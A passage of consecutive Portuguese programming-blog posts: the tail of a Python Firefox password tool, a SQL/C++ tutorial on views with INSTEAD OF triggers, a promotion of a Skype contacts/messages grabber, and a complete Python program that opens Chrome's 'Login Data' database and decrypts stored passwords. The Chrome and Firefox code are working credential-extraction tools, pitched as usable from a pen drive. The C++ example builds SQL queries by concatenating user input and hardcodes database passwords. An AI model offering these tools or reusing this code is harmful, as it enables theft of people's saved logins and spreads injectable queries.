        self.SetStatusText(getpass.getuser(), 2)
        self.SetStatusText(dataA, 3)
        self.SetStatusText(self.plataforma(), 4)

        # Declara Eventos dos menus
        self.Bind(wx.EVT_MENU, self.OnSalvar, id=5000)
        self.Bind(wx.EVT_MENU, self.OnSair, id=5001)
        self.Bind(wx.EVT_MENU, self.OnSobre, id=6001)

        # Cria botões
        botao1 =   wx.Button(panel, label="Exportar TXT (Export)", pos=(580,280))
        botao1.Bind(wx.EVT_BUTTON, self.OnSalvar)

        botao2 =   wx.Button(panel, label="Fechar (Close)", pos=(740,280))
        botao2.Bind(wx.EVT_BUTTON, self.OnSair)

        botao3 =   wx.Button(panel, label="Sobre (About)", pos=(20,280))
        botao3.Bind(wx.EVT_BUTTON, self.OnSobre)

        # Cria Grid de dados
        grid = SimpleGrid(panel)
        grid.SetColSize(0, 370)
        grid.SetColSize(1, 260)
        grid.SetColSize(2, 138)

    def plataforma(self):
        sistema = "OS: " + platform.system() + \
                  " - " + platform.release() + \
                  " - " + platform.version()
        return sistema

    # Cria evento para Salvar Arquivo.
    def OnSalvar(self, evt):
        saveFileDialog = wx.FileDialog(self, "Salvar Como", "", "",
                                       "Arquivos Texto (*.txt)|*.txt",
                                       wx.FD_SAVE | wx.FD_OVERWRITE_PROMPT)

        if saveFileDialog.ShowModal() == wx.ID_CANCEL: return

        # Cria arquivo e adiciona conteudo
        arquivo = saveFileDialog.GetPath()

        file = open(arquivo, "w")

        conteudo = "DA -Firefox Password Recovery - Powered by Desenvolvimento Aberto 2014\n\n" + \
                   "Sistema Operacional: " + self.plataforma() + "\n" + \
                   "Estação: " + socket.gethostname() + "\n" + \
                   "Usuario: " + getpass.getuser() + "\n" + \
                   "Data Extração: " + datetime.datetime.today().strftime('%d-%b-%Y') + "\n\n" + \
                   "Registros encontrados: \n\n"

        for reg in dados:
            conteudo = conteudo + str(reg) + "\n"
        file.write(str(conteudo))
        file.close()
        saveFileDialog.Destroy()

    # Cria evento de saida
    def OnSair(self, evt):
        self.Close(True)

    # Cria evento sobre
    def OnSobre(self, evt):
        # Cria texto para ferramenta
        texto = "Powered by Desenvolvimento Aberto\n\n" + \
                "Autor: Ricardo Mantovani\n" + \
                "E-Mail: desenvolvimento.aberto@live.com\n" + \
                "Blog: https://desenvolvimentoaberto.wordpress.com"

        # Cria caixa de texto
        msg = wx.MessageBox(texto, 'Info', wx.OK | wx.ICON_INFORMATION)
        msg.ShowModal()

# Inicializa a aplicação
app = wx.App()
frame = Formulario(None)
frame.Show(True)
app.MainLoop()

Uma View ou visão em português, é uma tabela virtual. A View não possui um armazenamento de dados permanente associado a ela, mas é baseada em outra tabela ou tabelas. Existem vários tipos de visões, elas podem variar suas funcionalidades de banco de dados para banco de dados, as Views mais comum são do tipo padrão, particionada ou materializada.

A visão fornece uma forma alternativa de olhar os dados em uma ou mais tabelas. A vista é uma especificação chamada de uma tabela de resultados. Conceitualmente, a criação de um ponto de vista é como o uso de binóculos. Você pode olhar através de binóculos para ver uma paisagem inteira ou olhar para uma imagem específica dentro da paisagem, como uma árvore. Da mesma forma, você pode criar uma visão que combina dados de diferentes tabelas de base ou criar uma visão limitada de uma tabela que omite dados. Na verdade, estes são os motivos mais comuns para usar um ponto de vista. Combinando informações de tabelas de base simplifica a obtenção de dados para o usuário final, e limitar os dados que um usuário pode ver é útil para fins de segurança.

Devido aos vários tipos diferentes de Views e suas respectivas diferenças de funcionalidades entre os bancos de dados Oracle, IBM DB2 e MSSQL é recomendado que você utilize os links oficiais para referencia:

Oracle: Create View
IBM DB2: Create View
Microsoft SQL Server: Create View

View - C++

View – C++

Algo Extremamente Útil Sobre Views

As Views são essenciais para uma boa performance de um sistema que manipula dados, elas são uteis de muitas maneiras diferentes, todos os sistemas de grande porte utilizam tipos de View.

As Views acrescentam performance a aplicação, podem conter constraints e índices, podem criar visões baseadas em formato XML, podem ser utilizadas para fins de segurança, podem ser criadas a partir de tabelas particionadas alocadas em vários servidores diferentes e retornar uma visão única, são fundamentais na criação de complexos relatórios, modelo de dados para exportação e até no manuseio de cadastros.

As Views possuem um recurso muito útil quando unidas ao evento INSTEAD OF de uma Trigger, na verdade este tipo de evento foi desenvolvido especialmente para a utilização em conjunto com uma View (exceto para banco de dados MSSQL que permite o uso em tabelas comuns). A utilização do evento “ao invés de” em uma View permite que o desenvolvedor ganhe a maior performance possível na distribuição de dados baseados em uma única visão para varias tabelas físicas contidas em locais diferentes.

Isto acontece porque, por exemplo, um formulário de cadastramento complexo geralmente é composto de varias tabelas interligadas pelo seu identificador, a combinação ViewTrigger permite que você retorne em uma única pesquisa todo o cadastro utilizando um único acesso. Quando disparado um evento para criar um cadastro novo ou modificar um cadastro existente em cima de uma View, automaticamente uma Trigger “ao invés de inserir” ou “ao invés de alterar” pode distribuir todos os dados alimentados pelo usuário em cada tabela especifica, tendo em seu beneficio, que todo o processo esta sendo efetuado dentro do motor do banco de dados.

Visual Studio

Você encontra um walkthrough de como instalar os bancos de dados, seus drivers e a configuração da IDE Visual Studio na categoria SQL e C++, use a imagem abaixo para referencia de como criar design utilizando, 1 GroupBox, 8 StaticTexts, 7 EditControls e 5 Buttons:

Visual C++ - Design

Visual C++ – Design

Exemplo:

Neste exemplo utilizamos o conceito básico de uma View em conjunto com o evento INSTEAD OF de uma Trigger, no programa abaixo o método de inserção esta completo, fica como exercício criar o método INSTEAD OF UPDATE e INSTEAD OF DELETE.

Você encontra uma visão contendo duas tabelas relacionadas, a tabela Funcionários e Desconto, e a partir de uma trigger utilizamos o evento “ao invés de inserir” para distribuir os dados para suas respectivas tabelas. Na aplicação C++ o campo porcentagem possui cor diferente pois se encontra em outra tabela, você pode utilizar este exemplo básico para criar cadastros mais complexos.

* Para referencia sobre as triggers utilize nosso post C++ com o tópico Triggers.

** Você encontra este mesmo programa utilizando SQL direto na aplicação, clicando aqui.

SQL

Oracle

-- Cria tabela de funcionarios
create table Funcionarios(
  ID_Funcionario  NUMBER(5),
  Nome            VARCHAR2(30),
  Sobrenome       VARCHAR2(70),
  Cargo           VARCHAR2(30),
  Salario         NUMBER(9,2));

-- Cria tabela com a porcentagem de descontos
Create table DESCONTO (
  ID_FUNCIONARIO NUMBER,
  PORCENTAGEM NUMBER(9,2));

-- Cria View (Visão) do Cadastro de funcionarios
Create or Replace View CadFuncionario as
Select
  A.ID_FUNCIONARIO, A.NOME, A.SOBRENOME,
  A.CARGO, A.SALARIO, B.PORCENTAGEM
  from FUNCIONARIOS A, DESCONTO B
Where
  A.ID_FUNCIONARIO = B.ID_FUNCIONARIO;

-- Cria Trigger Ao inves de inserir sobre a View
create or replace TRIGGER CADFUNC_INSERT
   INSTEAD OF INSERT ON CadFuncionario
   FOR EACH ROW 

   BEGIN
    -- Insere dados na tabela de Funcionario
    Insert into FUNCIONARIOS values (
     :new.ID_FUNCIONARIO,
     :new.NOME,
     :new.SOBRENOME,
     :new.CARGO,
     :new.SALARIO);

     -- Insere dados na tabela de Desconto
     Insert into DESCONTO values (
     :new.ID_FUNCIONARIO,
     :new.PORCENTAGEM);  

   END CADFUNC_INSERT;

IBM DB2

-- Desenvolvimento Aberto --
-- Atente-se para o terminador de instruções
-- o IBM DATA STUDIO não consegue utilizar
-- Begin... END com scripts sql
-- Mude o terminador para o caractere @
-- para mudar clique com o botão direito do mouse aqui!!!

-- Cria tabela de funcionarios
create table Funcionarios (
    ID_Funcionario  INTEGER,
    Nome            VARCHAR(30),
    Sobrenome       VARCHAR(70),
    Cargo           VARCHAR(30),
    Salario         NUMERIC(9,2))@

-- Cria tabela com a porcentagem de descontos
Create table DESCONTO (
  ID_FUNCIONARIO INTEGER,
  PORCENTAGEM DECIMAL(9,2))@

-- Cria View (Visão) do Cadastro de funcionarios
Create or Replace View CadFuncionario as
Select
  A.ID_FUNCIONARIO, A.NOME, A.SOBRENOME,
  A.CARGO, A.SALARIO, B.PORCENTAGEM
  from FUNCIONARIOS A, DESCONTO B
Where
  A.ID_FUNCIONARIO = B.ID_FUNCIONARIO@

-- Cria Trigger Ao inves de inserir sobre a View
create or replace TRIGGER CADFUNC_INSERT
   INSTEAD OF INSERT ON CadFuncionario
   REFERENCING NEW AS N
      FOR EACH ROW 

  T1:  BEGIN
    -- Insere dados na tabela de Funcionario
    Insert into FUNCIONARIOS values (
     N.ID_FUNCIONARIO,
     N.NOME,
     N.SOBRENOME,
     N.CARGO,
     N.SALARIO);

     -- Insere dados na tabela de Desconto
     Insert into DESCONTO values (
     N.ID_FUNCIONARIO,
     N.PORCENTAGEM);  

   END T1

MSSQL Server

-- Cria tabela de funcionarios
create table Funcionarios (
   ID_Funcionario  Int,
   Nome            VARCHAR(30),
   Sobrenome       VARCHAR(70),
   Cargo           VARCHAR(30),
   Salario         Decimal(9,2));

-- Cria tabela com a porcentagem de descontos
Create table DESCONTO (
  ID_FUNCIONARIO INT,
  PORCENTAGEM DECIMAL(9,2));

-- Cria View (Visão) do Cadastro de funcionarios
Create View CadFuncionario as
Select
  A.ID_FUNCIONARIO, A.NOME, A.SOBRENOME,
  A.CARGO, A.SALARIO, B.PORCENTAGEM
  from FUNCIONARIOS A, DESCONTO B
Where
  A.ID_FUNCIONARIO = B.ID_FUNCIONARIO;

-- Cria Trigger Ao inves de inserir sobre a View
create Trigger CADFUNC_INSERT
    ON CadFuncionario INSTEAD OF INSERT as

   BEGIN
    -- Insere dados na tabela de Funcionario
    Insert into FUNCIONARIOS
	Select
       ID_FUNCIONARIO,
       NOME,
       SOBRENOME,
       CARGO,
       SALARIO
	from inserted;

     -- Insere dados na tabela de Desconto
     Insert into DESCONTO
	 Select
       ID_FUNCIONARIO,
      PORCENTAGEM
     from inserted

   END;

C++

Classe – Arquivo .h


// CamposcppDlg.h : header file
//

#pragma once

// Inclui classe de banco de dados MFC
#include "afxdb.h"
#include "afxwin.h"

// CCamposcppDlg dialog
class CCamposcppDlg : public CDialogEx
{

public:
	CCamposcppDlg(CWnd* pParent = NULL);	// standard constructor

// Dialog Data
	enum { IDD = IDD_CAMPOSCPP_DIALOG };

	protected:
	virtual void DoDataExchange(CDataExchange* pDX);	// DDX/DDV support

// Implementation
protected:
	HICON m_hIcon;

	// Generated message map functions
	virtual BOOL OnInitDialog();
	afx_msg void OnPaint();
	afx_msg HCURSOR OnQueryDragIcon();
	DECLARE_MESSAGE_MAP()
public:

	// Cria métodos e objetos da classe
	CDatabase db;

	// Esta variavel define o banco de dados
	// oracle = Oracle Database
	// db2 = IBM DB2
	// mssql = MSSQL Server
	CString m_db = L"oracle";

	// Conecta ao banco de dados
	void conectarDB(CString banco);

	// Variaveis Edits
	CEdit m_pesquisa;
	CEdit m_codigo;
	CEdit m_pnome;
	CEdit m_snome;
	CEdit m_cargo;
	CEdit m_salario;
	CEdit m_porcentagem;

	// Variaveis Botões
	CButton m_apagar;
	CButton m_novo;

	// Eventos
	afx_msg void OnShowWindow(BOOL bShow, UINT nStatus);
	afx_msg void OnBnClickedButton1();
	afx_msg void OnBnClickedButton2();
	afx_msg void OnBnClickedButton3();
	afx_msg void OnBnClickedButton4();
	afx_msg void OnBnClickedButton5();
	afx_msg HBRUSH OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor);

};

Classe – Arquivo .cpp


// CamposcppDlg.cpp : implementation file
//

#include "stdafx.h"
#include "Camposcpp.h"
#include "CamposcppDlg.h"
#include "afxdialogex.h"

#ifdef _DEBUG
#define new DEBUG_NEW
#endif

CCamposcppDlg::CCamposcppDlg(CWnd* pParent /*=NULL*/)
	: CDialogEx(CCamposcppDlg::IDD, pParent)
{
	m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
}

void CCamposcppDlg::DoDataExchange(CDataExchange* pDX)
{
	CDialogEx::DoDataExchange(pDX);
	DDX_Control(pDX, IDC_EDIT6, m_pesquisa);
	DDX_Control(pDX, IDC_EDIT1, m_codigo);
	DDX_Control(pDX, IDC_EDIT2, m_pnome);
	DDX_Control(pDX, IDC_EDIT3, m_snome);
	DDX_Control(pDX, IDC_EDIT4, m_cargo);
	DDX_Control(pDX, IDC_EDIT5, m_salario);
	DDX_Control(pDX, IDC_BUTTON5, m_apagar);
	DDX_Control(pDX, IDC_BUTTON2, m_novo);
	DDX_Control(pDX, IDC_EDIT7, m_porcentagem);
}

BEGIN_MESSAGE_MAP(CCamposcppDlg, CDialogEx)
	ON_WM_PAINT()
	ON_WM_QUERYDRAGICON()
	ON_BN_CLICKED(IDC_BUTTON1, &CCamposcppDlg::OnBnClickedButton1)
	ON_BN_CLICKED(IDC_BUTTON2, &CCamposcppDlg::OnBnClickedButton2)

ON_WM_SHOWWINDOW()
ON_BN_CLICKED(IDC_BUTTON3, &CCamposcppDlg::OnBnClickedButton3)
ON_BN_CLICKED(IDC_BUTTON4, &CCamposcppDlg::OnBnClickedButton4)
ON_BN_CLICKED(IDC_BUTTON5, &CCamposcppDlg::OnBnClickedButton5)
ON_WM_CTLCOLOR()
END_MESSAGE_MAP()

BOOL CCamposcppDlg::OnInitDialog()
{
	CDialogEx::OnInitDialog();

	SetIcon(m_hIcon, TRUE);
	SetIcon(m_hIcon, FALSE);
	return TRUE;
}

void CCamposcppDlg::OnPaint()
{
	if (IsIconic())
	{
		CPaintDC dc(this); 

		SendMessage(WM_ICONERASEBKGND, reinterpret_cast<WPARAM>(dc.GetSafeHdc()), 0);

		int cxIcon = GetSystemMetrics(SM_CXICON);
		int cyIcon = GetSystemMetrics(SM_CYICON);
		CRect rect;
		GetClientRect(&rect);
		int x = (rect.Width() - cxIcon + 1) / 2;
		int y = (rect.Height() - cyIcon + 1) / 2;

		dc.DrawIcon(x, y, m_hIcon);
	}
	else
	{
		CDialogEx::OnPaint();
	}
}

HCURSOR CCamposcppDlg::OnQueryDragIcon()
{
	return static_cast<HCURSOR>(m_hIcon);
}

// ************************         Desenvolvimento Aberto
// Nosso código começa aqui

void CCamposcppDlg::conectarDB(CString banco)
{
	// Cria string de conexão
	CString dns, usuario, senha;

	// Define banco de dados
	if (banco == "oracle")
	{
		dns = L"OracleXE";
		usuario = L"daberto";
		senha = L"p@55w0rd";
	}

	if (banco == "db2")
	{
		dns = L"IBMDB2";
		usuario = L"db2admin";
		senha = L"p@55w0rd";
	}

	if (banco == "mssql")
	{
		dns = L"MSSQLSERVER";
		usuario = L"devaberto";
		senha = L"p@55w0rd";
	}

	// Cria string de conexão ODBC
	CString conexao;

	// Cria string de conexão
	conexao = L"DSN=" + dns + L";UID=" + usuario + L";PWD=" + senha;

	// Abre conexão
	db.OpenEx(conexao, 0);
}

void CCamposcppDlg::OnBnClickedButton1()
{
	// Define variaveis
	CString codigo;
	CString m_campo;

	// Referincia objeto statico
	CWnd * p_rotulo;

	// Associa objeto statico
	p_rotulo = GetDlgItem(IDC_Rotulo);
	p_rotulo->SetWindowTextW(L"Database - Cadastro Funcionários - " + m_db);

	// Conecta ao banco de dados
	conectarDB(m_db);

	// Cria um set de dados
	CRecordset  dados(&db);

	// Cria pesquisa
	m_pesquisa.GetWindowTextW(codigo);

	dados.Open(CRecordset::forwardOnly,
		L"Select * From CadFuncionario Where  ID_FUNCIONARIO = " + codigo);

	// Retorna dados por nome de campo e os exibe
	// Oracle e o DB2 transformam os nomes de campos para maiusculo,
	// basta efetuar um select na tabela de cada banco e você verá
	// O MSSQL não faz esta mudança sendo assim você precisa mudar os campos
	// do banco de dados MSSQL para que fique compativel com o ORACLE e DB2 ou
	// encontrará um erro ao tentar utilizar a tabela que criamos anteriormente.

	dados.GetFieldValue(L"ID_FUNCIONARIO", m_campo);
	m_codigo.SetWindowTextW(m_campo);

	dados.GetFieldValue(L"NOME", m_campo);
	m_pnome.SetWindowTextW(m_campo);

	dados.GetFieldValue(L"SOBRENOME", m_campo);
	m_snome.SetWindowTextW(m_campo);

	dados.GetFieldValue(L"CARGO", m_campo);
	m_cargo.SetWindowTextW(m_campo);

	dados.GetFieldValue(L"SALARIO", m_campo);
	m_salario.SetWindowTextW(m_campo);

	dados.GetFieldValue(L"PORCENTAGEM", m_campo);
	m_porcentagem.SetWindowTextW(m_campo);

	// Fecha o set de dados e a conexão
	dados.Close();
	db.Close();

}

void CCamposcppDlg::OnBnClickedButton2()
{
	// Limpa componentes
	m_codigo.SetWindowTextW(NULL);
	m_pnome.SetWindowTextW(NULL);
	m_snome.SetWindowTextW(NULL);
	m_cargo.SetWindowTextW(NULL);
	m_salario.SetWindowTextW(NULL);
	m_porcentagem.SetWindowTextW(NULL);

	// Define foco
	CEdit* pesquisa;
	pesquisa = (CEdit*)GetDlgItem(IDC_EDIT1);
	GotoDlgCtrl(pesquisa);

}

void CCamposcppDlg::OnShowWindow(BOOL bShow, UINT nStatus)
{
	CDialogEx::OnShowWindow(bShow, nStatus);

	// Define foco inicial
	CEdit* pesquisa;
	pesquisa = (CEdit*)GetDlgItem(IDC_EDIT6);
	GotoDlgCtrl(pesquisa);
}

// Cria método de menssagem
int menssagem(bool correto, LPCWSTR texto)
{
	LPCWSTR msg;

	if (correto)
	{
		msg = texto;
	}
	else
	{
		msg = texto;
	}

	// Cria nova caixa de menssagens
	int msgboxID = MessageBox(
		NULL,
		msg,
		(LPCWSTR)L"Conexão",
		MB_ICONWARNING | MB_OK | MB_DEFBUTTON2
		);

	switch (msgboxID)
	{
	case IDOK:

		break;
	}

	return msgboxID;
}

// Clique do botão inserir
void CCamposcppDlg::OnBnClickedButton3()
{
	// Define variaveis para componentes
	CString codigo;
	CString pnome;
	CString snome;
	CString cargo;
	CString salario;
	CString porcentagem;

	// conecta ao banco de dados
	conectarDB(m_db);

	// Recupara texto dos componentes
	m_codigo.GetWindowTextW(codigo);
	m_pnome.GetWindowTextW(pnome);
	m_snome.GetWindowTextW(snome);
	m_cargo.GetWindowTextW(cargo);
	m_salario.GetWindowTextW(salario);
	m_porcentagem.GetWindowTextW(porcentagem);

	// Troca ponto decimal para o banco de dados
	int i = salario.Replace(L",", L".");

	// Cria instrução SQL
	CString sql = L"Insert into  CadFuncionario  values ( " +  codigo + ", " +
		"'" + pnome + "', " +
		"'" + snome + "', " +
		"'" + cargo + "', " +
		      salario  + ", " +
		      porcentagem + ")";

	// Executa SQL
	try
	{
		db.ExecuteSQL(sql);
		menssagem(true, L"Dados inseridos com sucesso!");
		db.Close();
	}
	catch (CDBException* pe)
	{
		menssagem(false, L"Erro ao inserir dados.");
		db.Close();
	}	

}

// botão Updata
void CCamposcppDlg::OnBnClickedButton4()
{
	// TODO: Criar Trigger INSTEAD OF UPDATE
}

void CCamposcppDlg::OnBnClickedButton5()
{
	// TODO: Criar Trigger INSTEAD OF DELETE
}

HBRUSH CCamposcppDlg::OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor)
{
	HBRUSH hbr = CDialogEx::OnCtlColor(pDC, pWnd, nCtlColor);

	// Seleciona controle no dialogo e muda sua cor
	if (pWnd->GetDlgCtrlID() == IDC_Porcentagem)
	{
		// RGB - Vermelho
		pDC->SetTextColor(RGB(255, 0, 0));
		pDC->SetBkMode(TRANSPARENT);
	}

	return hbr;
}

O Skype é um software que permite comunicação pela Internet através de conexões de voz sobre IP (VoIP). Foi inicialmente criada pelo dinamarquês Janus Friis e pelo sueco Niklas Zennström quando trabalhavam na firma Kazaa.

O aplicativo Skype tinha 663 milhões de usuários registrados no final de 2010. Ele foi comprado pela Microsoft em 2011 por US $ 8,5 bilhões. Sede da divisão Microsoft Skype é em Luxemburgo, mas a maioria da equipe de desenvolvimento e 44% dos funcionários globais da divisão ainda estão situados em Tallinn e Tartu, Estónia.

O serviço permite que os usuários se comuniquem com os colegas por voz usando um microfone, vídeo usando uma webcam e mensagens instantâneas através da Internet. As chamadas telefónicas podem ser colocadas em recipientes compatíveis com as redes de telefonia tradicionais. As chamadas para outros usuários dentro do serviço Skype são gratuitas, enquanto chamadas para telefones fixos e celulares são cobrados através de um sistema de conta de usuário baseada em débito. O Skype também se tornou popular por suas características adicionais, incluindo a transferência de arquivos e videoconferência.

DA - Skype Grab Contacts/Messages

DA – Skype Grab Contacts/Messages

Skype Contatos e Menssagens

Agora que sabemos o que é o Skype, o quanto você acha que sua lista de contatos do Skype esta protegida? As identidades relacionadas a sua conta? Como facebook e outras? E todas as suas conversas?

Ao contrario do MSN Messenger, que possuía uma melhor segurança quanto aos dados do usuário (quem quiser conferir utilize o projeto MsnpSharp no menu Projetos deste site) e utilizava um recipiente de dados especifico. O Skype permite que no contexto do computador local, um usuário mal intencionado possa recuperar todos os dados do usuário, incluindo sua senha, já que o Skype utiliza um banco de dados fora dos “padrões” da Microsoft, que pertence a comunidade Open Source, chamado SQLite, e pode ser encontrado na maquina local, possibilitando um fácil acesso a todos os dados que podem ser recuperados sem a necessidade de login na conta do Skype, exceto as mensagens de conversação caso o usuário desabilite a opção de salvar historico.

DA –  Skype Grab Contact/Messages

É uma pequena ferramenta que recupera os contatos e as possíveis mensagens armazenadas nas configurações do Skype. Mesmo se o usuário não lembrar do seu login ou sua senha, a ferramenta é capaz de identificar todas as contas que foram utilizadas no contexto do usuário local e exibe uma lista de opções das quais as informações podem ser recuperadas.

Está é uma aplicação Open Source em uma versão de testes (Betha) e seu executável e código fonte podem ser baixados no site do projeto hospedado no Google Code:

https://code.google.com/p/da-skype-grab-contacts-messages/

Aplicação é desenvolvida na linguagem de programação C# e  requer a versão 4.5.1 do Microsoft .NET Framework e o driver ADO .NET da empresa SQLite:

System.Data.SQLite ADO .NET Povider: SQLite ADO .NET

Você pode utilizar esta aplicação de um Pen-drive para capturar e salvar os dados armazenados que residem em cada conta do Skype, se utilizada em um computador local. Você pode participar do projeto e nos ajudar na evolução da ferramenta seguindo as instruções no site do projeto.

O Google Chrome é o navegador mais utilizado na internet atualmente, segundo vários sites nacionais e internacionais especializados no assunto, para confirmar basta digitar no Google, O Chrome é um dos navegadores preferidos pelos quesitos, velocidade e segurança.

Segundo a empresa Google: “O Google Chrome foi projetado para manter você mais protegido e seguro na web com uma proteção integrada contra malware e phishing, atualizações automáticas para garantir que você tenha as últimas atualizações de segurança e muito mais…”.

Isto todos concordamos! Mas uma combinação fatal formada pelo, Google Chrome + Windows + Usuário, pode levar toda esta tecnologia de segurança por agua a baixo. Isto porque se analisarmos o conceito de segurança do sistema operacional Windows no contexto do usuário local, somado ao banco de dados pra lá de manjado que o Google escolheu para guardar suas credenciais criptografadas (SqlLite3), associado a um usuário que prefere comodidade ao ter que digitar sempre sua senha.

Google Chrome

Google Chrome

Está pronto, um perigoso coquetel, e talvez amargo de ser saboreado, pois pode levar você a perder todas as suas credencias dos sites que você mais utiliza como: Gmail, Hotmail, Facebook, Instagram e qualquer outro site no qual você escolher salvar no seu navegador. Não se preocupe se é necessário descriptografar as senhas no contexto do usuário que as criptografou um desenvolvedor mal intencionado pode providenciar isto facilmente.

Como Descriptografar as senhas do Google Chrome

A poderosa linguagem de programação Python permite que você faça coisas mirabolantes de um modo simples no qual antes era possível apenas com complexos códigos em C. Utilize os links abaixo para saber como o programa funciona e conceitos sobre o qual utilizamos para capturar e exibir as senhas do Google Chrome

DA - Google Chrome Password Recovery

DA – Google Chrome Password Recovery

Requisitos

Linguagem:  Python.

Nivel: Fácil.

Modulos Externos Python: Download WxPython PyWin32

Detalhes Sobre a Criptografia: CryptUnprotectData

Detalhes Sobre o Armazenamento de credenciais Google Chrome: SQLLite

Local físico de armazenamento das credenciais: C:\Users\Usuario\AppData\Local\Google\Chrome\User Data\Default

Nome do banco de dados: Login Data

Projeto Open Source

Você encontra uma versão deste programa atualizada e convertida para um executável do Windows, e também os códigos fontes da ultima versão desta ferramenta no seguinte link:

Projeto hospedado: https://code.google.com/p/google-chome-pass-recovery/source/browse/

 

Exemplo:

Neste exemplo criamos um simples programa na linguagem de programação Python que captura os sites e exibe as senha armazenadas pelo navegador Google Chrome.

Licença: http://opensource.org/licenses/MIT

Python

#!/usr/bin/env python
# -*- coding: latin-1 -*-
# Versão 1.2 - Betha
# CapturaSenhaChrome.py

# The MIT License (MIT)
#
# Copyright (c) 2014 - Ricardo Mantovani - Desenvolvimento Aberto
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.

# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
# THE SOFTWARE.

# importa modulos
import wx
import wx.grid
import win32crypt
import sqlite3
import os
import getpass
import datetime
import platform

# Cria classe generica de uma WX.Grid
# A classe abaixo faz parte da documentação WXPython oficial
# Este trecho de código é util para manipular a grade

class GenericTable(wx.grid.PyGridTableBase):
    def __init__(self, data, rowLabels = None, colLabels = None):
        wx.grid.PyGridTableBase.__init__(self)
        self.data = data
        self.rowLabels = rowLabels
        self.colLabels = colLabels

    def GetNumberRows(self):
        return len(self.data)

    def GetNumberCols(self):
        return len(self.data[0])

    def GetColLabelValue(self, col):
        if self.colLabels:
            return self.colLabels[col]

    def GetRowLabelValue(self, row):
        if self.rowLabels:
            return self.rowLabels[row]

    def IsEmptyCell(self, row, col):
        return False

    def GetValue(self, row, col):
        return self.data[row][col]

    def SetValue(self, row, col, value):
        pass   

# Inicializa Grade
dados = []
colLabels = ["Site (Action URL)", "Usuário (User)", "Senha (Password)"]
rowLabels = []
for linha in range(1, 150):
    rowLabels.append(str(linha))

# Conecta ao banco de dados do usuario local
# Requer elevação de privilegios se o Chrome estiver aberto
conn = sqlite3.connect(os.getenv("APPDATA") + "\..\Local\Google\Chrome\User Data\Default\Login Data")
cursor = conn.cursor()

# Captura informações de login
cursor.execute('SELECT action_url, username_value, password_value FROM logins')

# Retorna resultados
resultado = cursor.fetchall()
for result in resultado:
  # Descriptografa senha
  # CryptUnprotectData requer o contexto do usuario local
  senha = win32crypt.CryptUnprotectData(result[2], None, None, None, 0)[1]
  if senha:
      captura = [result[0], result[1], senha]
      dados.append(captura)

# Cria classe da grid
class SimpleGrid(wx.grid.Grid):
    def __init__(self, parent):
        wx.grid.Grid.__init__(self, parent, -1, pos=(5, 10), size=(850, 240))
        tableBase = GenericTable(dados, rowLabels, colLabels)
        self.SetTable(tableBase)                   

# Cria formulario

class Formulario(wx.Frame):
    def __init__(self, parent):
        # Cria Formulario
        wx.Frame.__init__(self, parent, -1, "Google Chrome Password Recovery", size=(880, 350))
        panel = wx.Panel(self, wx.ID_ANY)

        # Cria Menu
        menu = wx.Menu()
        menu.Append(5000, "S&alvar")
        menu.Append(5001, "Sai&r")

        menu1 = wx.Menu()
        menu1.Append(6001, "&Sobre", "Informação sobre este programa")

        # Cria Barra de menus
        menubarra = wx.MenuBar()
        menubarra.Append(menu, "&Arquivo")
        menubarra.Append(menu1, "&Sobre")
        self.SetMenuBar(menubarra)

        # Barra de status
        statusbar = self.CreateStatusBar(5)

        # Retorna data
        dataA = datetime.datetime.today()
        dataA = dataA.strftime('%d-%b-%Y')

        # Set today date in the second field
        self.SetStatusText("Estação: " + os.environ['COMPUTERNAME'], 0)
        self.SetStatusText("Usuario: " + getpass.getuser(), 1)
        self.SetStatusText("Data Atual: " + dataA, 2)
        self.SetStatusText(self.plataforma(), 3)
        self.SetStatusText("Desenvolvimento Aberto - 2014", 4)

        # Declara Eventos dos menus
        self.Bind(wx.EVT_MENU, self.OnSalvar, id=5000)
        self.Bind(wx.EVT_MENU, self.OnSair, id=5001)
        self.Bind(wx.EVT_MENU, self.OnSobre, id=6001)

        # Cria Grid de dados
        grid = SimpleGrid(panel)
        grid.SetColSize(0, 430)
        grid.SetColSize(1, 230)
        grid.SetColSize(2, 108)

    def plataforma(self):
        sistema = "OS: " + platform.system() + \
                  " - " + platform.release() + \
                  " - " + platform.version()
        return sistema

    # Cria evento para Salvar Arquivo.
    def OnSalvar(self, evt):
        saveFileDialog = wx.FileDialog(self, "Salvar Como", "", "",
                                       "Arquivos Texto (*.txt)|*.txt",
                                       wx.FD_SAVE | wx.FD_OVERWRITE_PROMPT)

        if saveFileDialog.ShowModal() == wx.ID_CANCEL: return

        # Cria arquivo e adiciona conteudo
        arquivo = saveFileDialog.GetPath()

        file = open(arquivo, "w")

        conteudo = "Google Chrome Password Recovery - Powered by Desenvolvimento Aberto 2014\n\n" + \
                   "Sistema Operacional: " + self.plataforma().replace("OS:","") + "\n" + \
                   "Estação: " + os.environ['COMPUTERNAME'] + "\n" + \
                   "Usuario: " + getpass.getuser() + "\n" + \
                   "Data Extração: " + datetime.datetime.today().strftime('%d-%b-%Y') + "\n\n" + \
                   "Registros encontrados: \n\n"

        for reg in dados:
            conteudo = conteudo + str(reg) + "\n"
        file.write(str(conteudo))
        file.close()
        saveFileDialog.Destroy()

    # Cria evento de saida
    def OnSair(self, evt):
        self.Close(True)

    # Cria evento sobre
    def OnSobre(self, evt):
        # Cria texto para ferramenta
        texto = "Powered by Desenvolvimento Aberto\n\n" + \
                "Autor: Ricardo Mantovani\n" + \
                "E-mail: desenvolvimento.aberto@live.com\n" + \
                "Versão: 1.2 - Betha\n\n" + \
                "Coogle Code:\n" + \
